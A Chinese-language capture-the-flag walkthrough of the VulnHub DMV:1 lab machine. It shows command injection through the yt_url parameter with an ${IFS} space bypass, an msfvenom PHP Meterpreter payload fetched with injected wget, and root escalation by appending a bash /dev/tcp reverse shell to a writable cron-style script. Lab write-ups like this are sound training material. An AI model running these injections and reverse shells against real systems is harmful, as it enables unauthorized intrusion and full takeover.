VulnHub DMV:1

DMV:1靶机下载地址:https://www.vulnhub.com/entry/dmv-1,462/
环境：靶机在VirtualBox中，用的是 VirtualBox Host-Only网卡，ip:192.168.56.111

攻击机 kali在VMware中，使用桥接模式，桥接至VirtualBox Host-Only网卡，ip:192.168.56.112

nmap 扫描发现靶机

nmap 扫描主机端口及其对应的服务，这里开放了22（ssh）和80（http）

访问http://192.168.56.111/ 发现这里存在输入框尝试使用burp抓包分析

存在可控变量yt_url

经过测试发现有命令执行，whoami命令被成功执行

但是这里空格被过滤了

空格绕过的方法很多，这里利用${IFS}替代空格进行绕过

既然存在命令执行，可以想到是否可以利用wget直接将木马下载至靶机
测试发现wget可以使用

使用msfenom构造Meterpreter后门

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.112 LPORT=777 -f raw > shell.php

在msf中配置相关选项

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.56.112
set port 777
run -j

利用python3在本地开启http服务

python3 -m http.server 8888

利用wget下载meterpreter后门

;wget${IFS}http://192.168.56.112:8888/shell.php;

下载成功

触发后门

;curl${IFS} http://192.168.56.111/shell.php;

msf这边也成功创建session

利用python获取交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

进入admin目录找到flag.txt

whoami查看用户为www-data

进入tmp目录 运行./clean.sh 权限不足

在本地开启nc

nc -lvvp 2333

在之前或获取的靶机shell中运行以下命令

echo bash -c 'bash -i >& /dev/tcp/192.168.56.112/2333 0>&1' >> clean.sh

接着./clean.sh运行，会发现依旧权限不足

回到本地已经成功反弹shell，查看权限为root，继续利用python获得交互式shell

查看最后的flag在/root/root.txt